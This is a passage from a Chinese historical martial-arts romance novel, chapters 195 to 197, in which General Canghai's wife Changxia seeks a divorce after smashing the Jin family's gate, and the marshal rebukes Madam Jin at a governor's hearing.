“我幼时老和沧海扳手腕，比手劲！镇上就我能跟他一较高下！”畅夏望向茉云眼中的诧异，笑了解释道，“当年他憋着一口气总是拼命练武，白日练夜里练，我生怕赶不上他，我也日日练，他吃多少，我也吃多少！有时夜里他还常常偷偷躲在屋后练习，被我逮到，我数落他背着我练功，他笑得像个孩子似的……”
茉云听着，不由得扬起眉头，笑着说道：“嫂子啊，我看，倒是你被沧海哥给耽误了。这等身手，若是进了军营，没准军功也不比沧海少！”
畅夏闻言随即畅然大笑，笑声清朗豪迈，充满了从未有过的释然。
195.闯祸
夕阳西下，她两走在归家的路上，畅夏心中波澜未平。
她忍不住对身旁的茉云说道：“妹子，你知道，嫂子绝非不欢迎你，只是……如今看来，金家绝不会轻易放过我。他家素来在乎颜面，如今只怕已对我恨之入骨。而且，他们与刺史关系很深，势力在南恒盘根错节，官府若真要来寻麻烦，嫂子不想牵连你。”
茉云闻言轻轻一笑：“嫂子，既然如此，何必留恋南恒？我带你离开去找沧海将军，咱们一起走，绝不能让那金家祸害三个孩子本该美满的生活。”
畅夏听了心中一震，目光不禁柔和了几分，她知道茉云说得对，孩子们年纪尚小，被轻视被羞辱，本就已经在他们幼小的心中留下创伤，若再继续纠缠，只会让他们卷入无休止的纷争。
她轻轻叹了一口气坚定的说：“也是，不能连累孩子们无辜受罪。”
两人相视一笑，加快了脚步往家中走去。回到家后，畅夏开始迅速地收拾行囊，孩子听见们去找爹，还是去军营，都乐得心情好似飞上天，迅速的收拾了自己小行囊，一字排开蹲坐于门口等着出发。
“茉云姨，咱去军营就要遵守军纪是不？”
“对！你们问我算问对人了！”茉云顷刻笑得不行说道，“路上茉云姨教你们！”
畅夏也笑了背着包袱抱起小雅说道：“走，咱们出发！”
因为身边有三个孩子，他们雇了一辆马车，马车辘辘一路向南关而去。夜幕降临，四周安静下来，她们找了个路旁的小客栈安顿下来，小客栈条件简陋，没有客人，她们在一间的通铺房住下。
三个孩子早已在熟睡，微弱的烛光映照在他们安详的脸上。畅夏坐在望着熟睡的孩子，眼中都是不舍，她低声对茉云说道：“我知道这次我属实犯了朝廷律法，妹子，还连累了你。都是我一个人的错……若有罪责，我们江湖中人一人做事一人当。”
茉云抬目望向畅夏，只见她眼神带着几分歉疚与坚决。
畅夏继续低语说：“我也不能连累沧海，我会与沧海和离，把孩子们交给他。独自一人扛下所有罪责就好。”
茉云听罢目光微微一震，怔然了片刻。自己本要安慰她说不会让他们母子有事，可听到此说，茉云却笑了问道：“你觉得沧海哥会跟你和离？”
畅夏深吸一口气望向烛光，眼神有些迷离，显然是脑海中浮现出沧海将军的样子，这一刻，她沉默了下来，房里静得好似都能听到烛火轻轻燃烧的声音。
茉云微笑着闭上了双眼，不再多言，让她自己去寻找一切答案也好。睡着她轻轻的侧身，背后的伤口传来了一阵阵的痛。
而此时南恒的刺史已经派人去了许家，许家已是人去楼空，金夫人忿然指责道，他们这是畏罪潜逃，并暗示刺史，他当日做上了刺史便是受了金家帮衬，若是连个案子都办不明白，定然以后仕途全无。
南恒的刺史罗大人顿时急得如热锅上的蚂蚁，那许夫人再出生卑微，没有背景，那也是将军夫人，可是金家的如今的家主虽是个闲职的五品官，但瘦死的骆驼比马大，他该如何是好。
这时他的师爷给他出了个损招，将一切罪责推给那日随着许夫人去金府打砸之人身上，罗大人顷刻觉得这可是个好主意，难啃的骨头不啃！可他完全不知道何为难啃的骨头……
三日后的夜里，正啸等人皆在南卓城巡抚府里商讨南境筹集粮饷之事，只因若辰在年前招了南境所有刺史来巡抚府里，商议和安排此事。开春之后，各地的任务就要委派下去。
夜色沉沉，正啸从巡抚府里走出准备回营，若辰跟在他身旁，将他送至房门口，看见季岚走出来才想起道：“聊了一日的公事，都忘了跟你说，快要过年了，季岚说，若元帅和你方便，来舍下吃个年夜饭？也好让晚辈陪元帅一同过个热闹年节。”
正啸直言道：“年夜时分，自当与将士们一同，不能离开军营。”
他的语气不带犹豫，透出军人一贯的坚决，季岚都有几分尴尬的望向他。
若辰却温和的笑道：“只要在年节的日子里，哪一日都行，在下夫人亲自邀请元帅和大将军，你岂有不赏光之礼。”
正啸未再多说，只微微颔首，算是默许。
季岚见状，脸上露出一丝喜色，恭敬的将邀请的帖子送到执礼手上：“还请执礼大人将帖子敬呈元帅，有劳了！”
“是！”执礼恭敬地双手接过了帖子笑了说道，“只是元帅见到大人与夫人这般琴瑟和鸣，只怕是又要感叹一番少主不争气了！”
“对，元帅前日还在试探！”东山亦笑了说道，“问是否接人来南卓过年，被大将军斩钉截铁的拒绝了，今日还未消气！”
众人忍俊不禁，正啸压根懒得搭理他们直接飞身上马，拉住缰绳准备走。沧海等人都抱拳跟若辰道别，他们还要赶回军营，最近南关大营和边关大营合营，军务繁多，所以连夜众将都赶了回去。
正啸拉紧缰绳，正准备起身，忽然前路不远处传来马车声。他微微一怔，目光投向那声音的方向。月光下，驾车之人的身影挺拔而熟悉。他一时间怔住了，恍惚间莫非自己又在做梦。
就在这时，马车停下，茉云爽朗清脆的声音从车头传来：“诶，嫂子，我们到了，下来吧！”
听到这声音，正啸心头一震，才猛然清醒，意识这并非梦中，来人真的是茉云，顿时无法抑制的一阵欢喜涌上心头。
茉云抬眼望去，忽然发现站在门口的身影竟是正啸众人，她微微一愣，眼中也闪烁出喜悦：“你们为何在此？”
就在她出声时，车厢的帘子掀开，畅夏带着孩子们跳下了车。
孩子们一下车，便透着灯笼的光，瞧见了沧海瞬间眼睛一亮，欢呼着朝他奔去，小小的步伐带着压抑不住的喜悦：“爹！”
然后跑到正啸面前顷刻跪下，恭敬地向大将军和随行的将士们行礼，童稚的声音说：“见过大将军叔叔和诸位叔叔婶婶！”
沧海满脸欣喜地看向畅夏：“你们怎么来了？”
然而，畅夏却没有多言，神色肃然望向沧海，语气冷静而决然的说：“沧海，咱两和离吧，孩子们跟着你，好好过下去。”
她话音刚落，空气仿佛瞬间凝固，沧海脸上的笑容僵住，眼中满是震惊与不可置信，怔怔地望着她。他从未料到，畅夏的口中会说出“和离”二字。
周围之人也都愣住了，彼此面面相觑，不知发生了什么，一时竟无言以对。
沧海良久才晃过来，声音低沉的问道：“什么意思？”
他眼神中只有难以掩饰的惊愕，畅夏却深吸一口气，神色间透出一抹决绝，声音异常平静：“这日子，我不想过了。我想回到武林，我已决议要和你和离。”
她的语气中没有一丝犹豫，好像这些话早已在心中酝酿了许久。沧海听着这冷静却决绝的话语，喉头仿佛被什么堵住了，久久说不出话来。
四周的气氛如同被冰冻一般，所有人都愣在原地，也不知该如何反应。
沧海嘴唇微微颤抖，半晌才开口，果决的说道：“我不和离！”
畅夏目光清冷而坚定的嚷道：“非和离不可！”
“梁畅夏！”沧海怒了，神情决计不像往日的沉稳内敛。
“你好好带着他们过吧！”说完畅夏忍着眼中之泪，转身便飞身而去。
“不是，话还没有说完呢！”茉云马上喊道，可是畅夏轻功之好，瞬间就消失在夜色中，茉云只得飞身去追。
孩子们怔怔地望着她消失的背影，似乎还未意识到发生了什么，根本不知和离为何意。
场面一时沉寂，众人愣在原地神情复杂。良久之后沧海将军才回过神来，蹲下来看着眼前三个呆愣的小家伙，眼中都是苦楚和无奈。
他轻轻拍了拍长子南儿的肩膀：“爹在军中还有要事，今晚先给你们找家客栈住下。南儿，照顾好弟弟妹妹。”
季岚见状，立刻上前温婉而亲切地说道：“沧海将军，就让孩子们先住在我们府上吧。”
若辰亦马上赞成的望向沧海，沧海将军微微皱眉，不想打扰关府，正想推辞，一旁的正啸也开口劝道：“沧海，要不就让他们先住巡抚衙门府上，要不便带他们三跟我们回军营。”
季岚也马上继续说道：“沧海将军，若是茉云寻到了夫人来，自然也会将她一并带回巡抚府，这样娘和孩子都能在一起。”
沧海才终于点了点头，微微颔首，语气中带着感激：“那便多谢关夫人了，有劳关大人和夫人费心。”
“何须如此客气！”若辰望向沧海温润的说道。
最终，沧海将三个孩子托付给巡抚府，看了一眼夜幕中消失的方向，眼中满是深沉的担忧与复杂的情感。
这几日，军营内繁忙异常，将士们日夜奔波，各项事务紧锣密鼓安排着，几乎无人得以喘息。将军们分头井然有序地安排着各队人马安营扎寨，直到三日后，军营总算大体妥当。
然而，这些天来，沧海将军每日在军营中来回调度，一如既往地沉稳，但神情却透着一丝阴沉，眉宇间也隐约看得出烦躁与不快。哪怕他极力掩饰，熟悉他的将军们都知道他心情恶劣至极。
这日清晨，元帅将他们招到营里，听完汇报之后，满意的点点头。
众人行礼准备退下之时，元帅突然大手一挥说道：“本帅正好打算去巡抚府，南境诸州县刺史也陆续到了，商议粮饷之事，正啸和沧海随我走一趟！”
众将都抬头看向元帅，沧海深吸一口气说道：“元帅，军中……”
“军令如山！”元帅一脸的刚烈的说道。
众人马上抱拳行礼说道：“是！”
大家心中都有些疑惑，按理说沧海一向都是管兵，而不管理后期之事，执礼则望向东山，东山站在元帅身边眼中透出了笑意，眼神指向元帅案上的信，执礼一眼便认出了那是茉云的笔记，原来她来信拜托了元帅。
元帅带着众人来了巡抚府上，神色威严步履沉稳的走进了关若辰的府
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邸，若辰马上亲自迎了出来，其实诸位刺史是明日才来南卓，元帅此行提前而来，定然是为了沧海之事。
众人行礼后，进入大厅落座，大厅中寂静无声，众人屏气凝神，视线不由自主地投向沧海夫人畅夏，她端坐在侧，穿着素雅的衣裙，脸上没有一丝波澜，只是低垂着头，避开所有人的目光。
“畅夏啊，为何执意要与沧海和离？”元帅素来是开门见山之人，何况他看待沧海就如子侄一般。
元帅的询问仿佛一道利剑刺向畅夏的内心，却没有换来任何回应。
“到底是为何啊？嫂子？”威行将军也是自小军中长大，素来跟沧海关系亲如兄弟，他也是自幼认识畅夏。
畅夏依旧沉默，眉目间透着一股倔强与执拗。
元帅皱起了眉头，环视四周，语气加重了些许：“沧海一向忠义无双，你若有不满，今日不妨说出来，本帅可为你做主，何至于走到和离这一步？”
然而，无论元帅的气势如何逼人，畅夏始终未发一言，那份决然，好似是一座无法跨越的高墙。
沧海将军双拳紧握，青筋暴起，眼中带着几分痛彻心扉的失望，声音却是斩钉截铁：“我不和离！”
然而，畅夏双手紧攥着衣角微微颤抖，最终吭声了：“我要和离！”
“我不同意！”沧海终于再也忍耐不住，忿然怒吼道。
畅夏愣了半晌，似乎没有习惯沧海用这般口气跟她说话，沧海亦看见了畅夏眼中的畏惧，他只能深吸一口气，隐忍着满腔的怒火，忿然转身就要朝门外走去。
正啸伸手一把抓住了他的手臂，将沧海硬生生拉了回来：“等会儿！”
而此时季岚正带着沧海的三个孩儿，城中买果脯回来。孩子们一人捧着一包，吃得津津有味，小脸上挂满了甜蜜的笑容。四人一路上笑声不断，当他们踏进大厅，孩子们愣了半刻。
堂前，元帅威然正坐，目光如炬，整个大厅的气氛透着肃穆，孩子们马上上前给元帅磕头，茉云也开心的蹦了进来说道：“茉云见过元帅！”
元帅抬眼望来，刚才还威严如山的脸庞，瞬间柔和了下来你，满脸慈笑：“快起来！”
孩子们本有些拘谨，只有最小的女儿小雅睁着乌溜溜的大眼睛，好奇地看着眼前的元帅，还不忘递上手中的果脯：“爷爷，你吃！”
元帅被逗得哈哈一笑，接过果脯，塞到了嘴里说：“嗯，好吃！”
他再看着其他两个孩子，眉间的笑意更浓，却又渐渐淡去，取而代之的是深深的叹息：“孩儿还这么小……”
元帅的话语未尽，畅夏更是眉头紧锁，深吸一口气强忍着眼眶里的泪水，沧海站在一旁，望向自己的孩子们，眼中都是难以言喻的沉重。
整个大厅一时陷入了静默，只剩孩子们咀嚼果脯时发出的轻微声音。
正啸望向若辰，声音带着一丝无奈的说：“她人呢？”
若辰看向正啸说道：“茉云送了沧海夫人来了府上，自己便不见了踪影。”
正啸若有所思的看向院外，正当气氛凝重之时，门外忽然传来了急促的脚步声，若辰眉头微皱转头看向门口，问道：“何事？”
府中人快步走进厅内行礼后恭敬地回报：“关大人，南恒刺史罗大人派人送来了一份诉状，是南恒金家的诰命夫人控告许府少夫人伙同另一名女子闯入金府，不仅动手伤人，还打砸了金府，甚至将御赐的门楣砸碎，说是……您若不处理，金府便上京告御状！”
此言一出，厅内顿时安静下来，听到了御赐门匾被砸，连元帅都觉之诧异，若辰马上接过了状纸，抬手示意下属先退下。
这份指控传入众人耳中的瞬间，目光纷纷投向畅夏。
她却没有为自己辩解半分，神色间透着一抹执拗的冷静。她抬起头，直视众人：“此事是我所为，与他人无关。一人做事一人当，我愿承担所有罪责。金家我甚恶之，不管如何，我已决定与沧海和离，这些恩怨，我自己来清算便是，孩子们也会交由沧海照顾”
沧海听着此话，猛然抬起头，目光深邃而复杂，喉头微微动了动，似乎想说些什么，却一时又不知如何说，这接踵而来之事，他似乎都从未想象到过。
若辰将状纸递给了正啸，神情带着几分严肃：“看来，这件事已经闹得不小了。”
正啸扫了一眼，顷刻脸色沉如铁，稍显急切地猛然转身下令道：“即刻派人去找方茉云，务必要找到她！”
若辰愣了一瞬，显然没想到正啸会如此大的反应。他迟疑着开口想要询问，却被一旁的威行将军的抱怨打断了：“茉云也是，带着嫂子闯了这么大的祸，居然就这么跑了！”
这一句话让若辰猛然回过神来，他的眼神闪过一丝恍然，继而又带上几分疑虑与不安。
他低声自语道：“这茉云非丢下沧海夫人独自逃走之人，以她的性格……定是另有所谋。”
正啸的目光深深地望向远处，眉头紧蹙，这丫头又是干什么去了……
196.该来
此刻府衙内院纷杂着凝重和焦急的氛围，忽然被一道尖锐的呼喊声打破。
金夫人不顾府衙中人的阻碍，气势汹汹地闯入大门，身旁紧跟着南恒刺史。此时若辰亦走出来到院中，身旁跟着他的夫人季岚。
罗刺史的神色显得有些尴尬，他连忙对若辰和季岚拱手行礼，脸上挂着一抹无辜的笑意。
然而，金夫人根本不给任何人说话的机会，她快步冲入院中，目光直勾勾地盯着若辰，声音高亢而夹杂着怒火：“巡抚大人！光天化日您的治下，居然由此等犯上之事，您到底管不管这件事？我家一品府邸被毁，御赐门匾被砸，堂堂诰命夫人当众被人殴打！这分明是欺辱朝廷勋爵之家！您若是当真不管，我便即刻上京，亲自向天子告御状！”
她的言辞犀利，带着毫不掩饰的愤怒，直冲若辰而来。
此刻季岚缓步走到若辰身边，身姿端庄神色从容。她略微抬眸，目光淡然地扫向金夫人，既不慌乱也不愠怒，举手投足间透着出自一品大员府邸千金的优雅与威仪。
站定后，她微微一笑，语气淡然而不失威严：“金夫人，这里是巡抚府内院，并非堂前公堂。若有冤屈要诉，自可按律上衙。如此喧哗，于礼不合，于事也无益。”
她声音不高，却带着不容置疑的气势，宛如寒冬中一股清风，瞬间扫去了金夫人周身咄咄逼人的气势。金夫人原本还气焰嚣张，此刻却被季岚的这番姿态压制得一愣，她又怎能不认识季岚是何人。
季岚依旧不疾不徐，继续道：“金夫人，您既为诰命，自当知晓规矩。”
她的话柔中带刚，不卑不亢，却像一记重锤敲在金夫人身上。金夫人张了张嘴，原本满腔的怒火此刻竟无从发泄，只得一时语塞，被季岚这份大气震慑，虽心中不甘，却再不敢像刚才那般大呼小叫，只能站在那里，面色涨得通红。
“金夫人，稍安勿躁！”若辰缓缓开口，语气中亦隐隐透着威严，“此事非同小可，本官自然会查明！”
罗刺史见状，也连忙劝解：“金夫人，巡抚大人自会妥善处理，您稍稍冷静些。”
若辰抬手示意，语气平静却不容置疑：“来人，将金夫人请至府衙公堂。”
金夫人听闻，只能咬牙冷哼一声，跟随着前往公堂。
与此同时，若辰看下季岚轻柔的说道：“我先去公堂，若沧海将军夫妇愿意一并前来，当堂对质，你便传人带他们来。”
季岚望向若辰便顷刻间眼神变得温婉，微微点了一下头。
片刻之后，公堂内气氛庄严，都并没有压制住金夫人的怒气冲冲。
沧海与畅夏先后步入堂内时，金夫人立刻双目一瞪，目光中满是怒火，猛然上前一步，抬手指着沧海将军，怒不可遏地骂了起来。
“沧海！你属实是狼心狗肺，金家护佑你半生，你从一个无名小卒爬到今日的地位。可看看你的夫人，她干的是什么滔天罪行？闯入金家，羞辱长辈，更甚是连御赐门楣都敢毁！如此行径，简直是天理不容！”
她声音尖锐，愤怒的字字句句以恩情标榜，好像要用忘恩负义不尊孝道之名将沧海夫妇吞没一般，甚至都未给畅夏一丝辩解的机会。
沧海神色一沉，他没有立刻反驳，但是他的气息稳如泰山，站在畅夏身前，为她挡开了金夫人的咄咄逼人。畅夏站在一旁，依然沉默不语，目光冷静，却掩不住内心的在拼命抑制的愤怒。
沧海冷然的直视金夫人：“金夫人，您既然如此兴师动众来了巡抚衙门，你要如何？”
金夫人抬起下巴，语气中带着一抹盛气凌人的尖锐：“如何？我只要一个公道！这件事闹得整个南恒城都知晓，我金家的颜面何在？我金家可是昔日一品大员府邸，你如何都要给金家一个交代？”
“公道？交代？”沧海将军闻言，冷笑一声，目光锐利且语气冰冷：“您无需顾左右而言他，直说你想要什么。”
金夫人听到此话，眼中闪过一丝阴冷，说道：“既然如此，那你便早早休了畅夏！此人出生卑微，粗鄙无状，干尽了浅薄丢脸之事，如何配得上你如今的身份？”
她的话语中如此明显的羞辱与不屑，让沧海顿时握紧了双拳。
她说到此还微微一顿，转而露出一抹假意的微笑，好似语重心长的说：“倒不如听舅母一句劝，娶你表妹为妻。你表妹娴儿贤淑聪慧，自小倾心于你，她与你才是天作之合！”
“做梦！”沧海当即驳斥道，堂内一时陷入短暂的寂静，所有人的目光都落在沧海将军，他如此斩钉截铁：“金夫人，这话我今日便放这——我绝不可能跟我夫人和离，娶表妹？哼，那更是妄想！”
他的话如此掷地有声，带着不可动摇的决绝，金夫人显然没有料到沧海会当着众人的面断然拒绝，手中的丝帕一抖，脸色瞬间涨红。
一旁的畅夏听到这番话，原本苍白的脸色微微一愣。眼中皆是意外和感动，又夹杂着一丝难言的痛楚。那双低垂已久的眼眸，终于缓缓抬起，看向沧海将军，眼角泛起了一丝湿润。
金夫人言语在激怒下，显出了不自控的张狂：“许沧海，你竟然如此不识抬举！”
“金家的损失，我可以赔，但是其余您就别做他想了！”
“这个粗鄙的女子，将金家御赐的门匾砸得稀碎，你如今便是忠孝都不顾了吗？想跟这等贱女子一同被朝廷问罪？日后再也无法效力军中！”金夫人瞪向沧海说道，谁都知道这便是他的死穴。
畅夏深吸一口气看向金夫人，她怎么可以连累沧海呢？
沧海则忿然瞪向金夫人说道：“谁允许你用这个贱字形容我夫人！”
可在这一瞬间，畅夏感动而又带着委屈的泪水流了下来。
这个时候堂下传来了一个熟悉的声音问若辰的贴身侍卫胡护院：“诶，吵得怎么样了？”
众人都吃惊地转头望向茉云，茉云则一脸温和而淡然的表情望向畅夏笑了。
“不是让你走了，别回来！”畅夏吃惊地望向茉云说。
而南恒的罗刺史顷刻指着茉云说道：“关大人，金府和许府素来交好，据下官调查，此人才是主谋，就是由于她从中挑拨，还带着将军夫人去金府行凶，当真是居心叵测，罪恶滔天，请速速将其拿下！”
此言一出，众人倒是愣了半刻，却没有一个人动。
“关大人，此人才是真正的恶人，真凶！”
“此话也不假！”茉云瞬间乐了望向罗刺史说道，“但是我没那么好抓！”
罗刺史此时才意识到。周遭人尽然没有一个动手的，而且巡抚大人身边之人都对她如此恭敬！
她目光扫过众人落在罗刺史身上，嘴角虽带笑，言语却如锋利的刀刃：“罗刺史，这案子，您是如何断的？”
罗刺史有些不自在地拂了拂衣袖，望向眼前之人。
茉云轻轻一笑，语气愈发凌厉，神情却愈加从容：“金夫人自是为己开脱，证词都挑对自己有利的说，这本也是人之常情。但您堂堂一刺史，断事居然如此不能明察？”
众人都望向茉云，若辰轻轻松了口气望向茉云，撑着头看着，此时在堂后听审的众人亦都松了口气，只有正啸微微皱眉，因为他感受到了茉云的中气不足，定是伤重未愈！
“罗刺史，您哪个眼睛瞧见金家和许家素来交好？人仗着跟沧海将军有一丝血脉相连，趁他不在之时，日日羞辱他的夫人，对将军夫人耳提面命，甚至连她家中的田地也强行夺去放租，却只给许家不到五成的租子，您可知此事？”
大厅中一阵窒息般的静默，罗刺史的脸色有些难堪，却哑口无言，南恒就这么大，他自是知道的，沧海则眼中都是错愕的望向茉云。
“你，一派胡言！”金夫人见罗刺史哑然之状，自己马上反驳道，“我们金家是在提点她如何操持家业！”
“是吗？”茉云不急不缓的笑了，言辞却句句诛心，“不止如此，沧海将军的岳父岳母千里迢迢前来，备了贺礼上门拜访，却连正门都不得入。金家竟将两位长辈赶至他家仆人进出的后门，还当面羞辱他们教女无方，言明将来要为沧海将军另觅妻子，命他们的女儿日后好好侍奉新妇——这等欺辱，也叫提点？”
“岂有此理！”沧海将军站在大堂中央，身形本如巍峨大山般挺拔，此时气得双拳紧握，关节因用力而泛白，眼中燃烧着熊熊怒火，仿佛整个大厅都因他的愤怒而颤动。
熟悉沧海之人，皆知他此生最孝敬的长辈，除了元帅，就是他岳丈岳母也是他师傅师娘的一双老人。
茉云冷冷一笑，目光如剑直刺罗刺史：“罗刺史，这些年金家所行之事……你是视而不见，还是另有图谋啊？”
大厅内的空气仿佛凝固了，众人屏息凝神，纷纷看向罗刺史，而罗刺史额间已隐隐渗出冷汗，他张了张嘴，却发不出声音，只得慌乱地低头思索着，这是何人啊？
茉云转头看向一旁的畅夏，眼中闪过一丝温和，但语气依然刚强：“嫂子，今日沧海哥就在此，你多年委屈，当一一澄清！”
畅夏原本压抑的情绪，瞬间如决堤的洪水般爆发，她双目通红，目光中带着不可抑制的愤怒与悲痛，声音略微颤抖却充满力量：“你等说我，我都能忍！说我出生低微，说我粗鄙不堪，如何不济都行！但你们居然说——说沧海还有三个孩儿，都是莽夫，毫无教养，说他们日后定然跟我公婆一样短命，都是命数不值一提的贱命！”
她的声音骤然拔高，几乎是用吼的方式将这些话倾泻而出，整个人因愤怒而颤抖，泪水无声地从眼眶滑落。
“我公婆是为国捐躯的大英雄！我丈夫，半生戍边保家卫国！而我的孩儿，他们都是日日习武，梦想长大为国效力的好孩儿！你们这些整日嚼舌的长舌妇，有什么资格如此辱骂他们！”她冲着金夫人吼得嘶哑，却震动了在场所有人，无不怒目圆瞪望向金夫人。
畅夏的身体前倾一步，整个人气势凛然，几乎让金夫人不由自主地后退半步：“我打了你们又如何？我打得就是你们！你们该打！有事冲我来便是，不要再为难其他人！”
大厅一片寂静，所有人都被畅夏的气势震慑住，尽管泪水划过她的脸庞却毫不掩饰她眼神中炙热和坚毅，她在誓死捍卫她所爱的人。沧海望向她的眼神中，充满了爱护和赞赏。
后堂内，元帅原本静静地坐着，听着大厅中的争执。可他的眉头越皱越紧，听到此，他将手中的茶杯用力放下，发出一声撞击的响声，再也按捺不住，大步走入堂前。
元帅的身影出现在大厅的一瞬间，所有人马上行礼，金夫人望向他亦怔了半刻，元帅目光如电威严如山，气势压得整个大堂顿时寂静无声。
他目光直视金夫人，声如洪钟，怒斥道：“许将军是皇上亲自追封的护国大将军！他为国捐躯，是为天下百姓而死的忠义之魂！”
元帅的话如惊雷一般炸响，金夫人原本还挺直的背，随着元帅的声音而微微佝偻，脸上血色尽褪，额头开始冒出冷汗，手中的帕子也被她死死攥成了一团。
可元帅的怒火仍未平息：“许将军，是顶天立地为社稷江山洒热血的英雄！你说他短命，贱命！你这一句话，辱及许家，亵渎圣意，还羞辱了所有为国献身的将士！”
金夫人站在那里，像是被雷劈中般呆滞不动，她张了张嘴，却不知如何反驳，只能惊恐地看着眼前怒不可斥的元帅，身体隐隐发抖。
元帅继续厉声道：“你如此无知无德，还敢仗势欺人！若是在军中，本帅定要拿你祭旗，不然军中忠魂难平！”
金夫人的声音哽在喉咙，无措地站在原地
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，连眼神中都带上了恐惧。她未曾想过，竟会激怒元帅到如此地步，此人可是朝中一品大员，朝堂得势且深得圣上信赖的卢帅。
“本帅姑且念你是女流之辈，当你是愚昧无知，暂不与你计较！”元帅最终深吸了一口气，声音低沉而冷峻的忍住了怒气，“你速速离去，自省之！莫在此，污了这堂前的忠正之气！”
金夫人身形一颤，慌乱地扶着身旁的下人，低头躬身，然后狼狈不堪地转身离开。若辰亦望向罗刺史，指了一下门外，罗刺史马上行礼告退，步伐踉跄的逃离了这让他如坐针毡之地。
大堂依旧无人敢应声，纷纷低头不由得忌惮元帅的威严。元帅见状，长叹一声，背负双手，眼神中皆是威仪。堂后之人亦都慢慢走了出来。
“元帅就是威武霸气！”此时传来这雀跃的声音，顷刻间逗得元帅喜笑颜开。
茉云开心的蹦了过来，堂内氛围顷刻间变得轻松。
“老夫还说你这丫头哪儿去了！”元帅望向茉云爱护的说道。
“临城的年糕那可是一绝，只有年前有买，我去买了点！”茉云开心的晃晃手中提着的年糕。
正啸双眉微蹙的看向茉云，是自己的多虑还是如何，他总觉得茉云此时气息混乱！
威行将军也乐了说道：“我还说呢，你给嫂子惹了这么大的祸，说不见人就不见了！”
“不是，祸是我闯的！”畅夏看向威行马上解释道。
“嫂子，就这么说吧，若没有方茉云在，你怕是还能忍个十年二十年，她若去了，没把金家点了，没把人都埋了，只是拉着你将金府砸了，人打了，那都算她克制的！”威行指着茉云评价道。
“还是威行了解我！”茉云亦笑了接过话说道，“当日嫂子操起门口石狮，哐的一下将金家大门砸碎，我被震撼到了，不愧是沧海将军的夫人，他两要一起上战场，那不比敌军的火药猛！我怎得昔日跟你们这群没啥能耐之人混！”
众人顷刻间哄堂大笑，元帅笑得最开心，畅夏亦不好意思的挠挠头笑了。
威行亦笑得不行说道：“嫂子，你也是，人这般欺负，你不早说，再者金家人欺负你，沧海哥可是日日夜夜念着你的，你怪他作甚！”
“我知道自己犯错……不想牵连你们……”畅夏微微抬起头试探而不安的看向沧海。
沧海眼中都是包容和温和，没有半分责怪，他自然是了解畅夏的，她自小便是最护着自己的人，幼时自己刚去师傅家，病得连话都说不出来，邻居家的小孩笑话自己是哑巴，畅夏随手抄起木棍，追着那邻居家小孩街头打到街尾。他伸手如兄弟般的轻轻拍了拍畅夏的肩膀，畅夏顷刻间憨憨的低头笑了。
茉云则大手一挥笑了说：“嫂子，放心哈，元帅都罩得住！你看将那金夫人吓得那般狼狈逃窜！”
“你啊，你能否少给咱找点事啊，刚害得大将军私自调兵去救你，这事还没了呢，你又将金府给砸了！”威行笑着调侃般骂道，他素来亦是口无遮拦的。
执礼此时抬目望向茉云，茉云眼神中闪过一丝异样，可她迅速恢复了嬉皮笑脸的神情。
“我本是想忍的，你可知那金家骂什么？”茉云故作忿然的指着骂道，“他们骂嫂子，出生低微，言行无状，胸无点墨，儿女都教不好！我当时就怒了，老子当日收拾不了那贼人，今日打不了这长舌妇吗？”
顿时众人哄堂大笑，昔日正啸圣前拒婚，便是这般形容茉云的，元帅听闻亦笑得前俯后仰，正啸则压根懒得理她。
“放心，就有劳季岚备点小菜，明日有要事要谈，咱今日能喝几杯！”元大笑着帅一挥手，衣袖翻飞声音畅快的说道。
“是！”季岚马上温婉的笑了说道，“快请诸位入内堂！”
夜里府上灯火通明，元帅与众人杯盏交错谈笑风生，气氛热烈。夜渐深之时，元帅放下酒杯说道：“明日还有粮饷的要事需议，今日便到此为止，等军饷之事谈定之后，咱再饮。”
众人听闻纷纷点头，各自起身行礼告退回房歇息。
院中渐渐恢复了寂静，夜风轻拂，走廊上的灯笼摇曳，给整座府邸染上了一层朦胧的光影。
茉云独自漫步回房，忽然，一个身影挡在她的面前，是季岚。
她神情有些许复杂，眼中带着一丝焦虑问道：“茉云，当日金家欺辱许家少夫人的事，是否还留有证据？金家如此羞辱沧海将军爹娘，当时是否还有证人？”
茉云闻言停下脚步，目光微微一挑，嘴角闪过一丝笑意，带着几分不以为意的洒脱：“证据没有，证人也没有。”
季岚怔了半刻望向茉云，最终欲言又止。
茉云亦看出了季岚眼中的担忧，笑了说道：“你啊，早些歇息！”
说罢她再也没有多言，迈步而去，潇洒自如地回了房间。她的背影在月光下依旧显得干净利落，好似一切风波都能置之度外。
季岚回房则眼神不定，透过烛光望向若辰，眉间尽是忧虑，低声自语般叹息说道：“朝堂之上的尚且有黑白可辩，可这达官显贵后院夫人之间的较量，向来阴沉晦暗，往往是众口铄金，何况没有铁证之时。别看金家夫人今日被元帅威仪吓退，可金家的老夫人还在，那可是昔日朝堂首辅的夫人，连圣上……哎，此事怕是不会就此算了。”
若辰亦明白季岚的意思，双眸含着担忧，更为可怖的是，正啸私自调兵救茉云之事，皇上此时还未圣断，若是圣上要开罪茉云，此事便是极好的缘由，最终他无奈地摇了摇头：“兵来将档，水来土掩吧！”
茉云回到了房中，点燃了烛，夜风吹过，烛光摇曳，这府邸深处的每一个角落都好似藏着暗流在涌动，让人心头隐隐生寒。
她眼角却流出一丝狠戾的笑，该来的总会来的，你千万别不来！
197.狠角
暮冬的清晨，寒风夹杂着丝丝凉意，吹得巡抚府衙门前的旗帜猎猎作响，霜气未散，薄雾笼罩，显得格外清冷。
巡抚府已是一片忙碌，各州县的刺史陆续抵达。衙门内外，往来的步履声与低声交谈寒暄之声交织一起，年前时节，各地的刺史，因为要商议明年开春便要安排的军粮收集之事，每个人都如约今日赶到了南卓巡抚衙门，不敢有丝毫懈怠。
大堂中，若辰正亲自出来见诸位刺史大人，见到中州来的宋大人他温和上前，众人皆知关家老宅便在中州，宋大人和关家也不是一般的交情。
而此时忽然门外一名公门中人匆匆而入，神情紧张，弯腰低声禀报几句话！
话未说完，若辰神色一变，立刻起身，眉宇间带上几分急切。他都还未跟宋大人解释半句，便微微欠身后匆匆迈步，三步并作两步朝府衙门口而去，他边走还吩咐胡护院马上告知元帅和正啸此事。
众人不免好奇的目送他的身影消失在门廊间，只听得院内外的脚步声急促又匆忙。
府衙门口晨雾微散，三架素雅却不失贵气的马车停在石阶前，其中为头的马车上的雕花佩饰，一看便知是尊贵王府座驾。
若辰恭敬地在府衙门口迎接，车帘掀起，三位气度不凡的老夫人缓缓下车，若辰旋即快步上前，恭敬地行礼：“镇北王妃驾临，下官未及远迎，请您恕罪！请王妃安！”
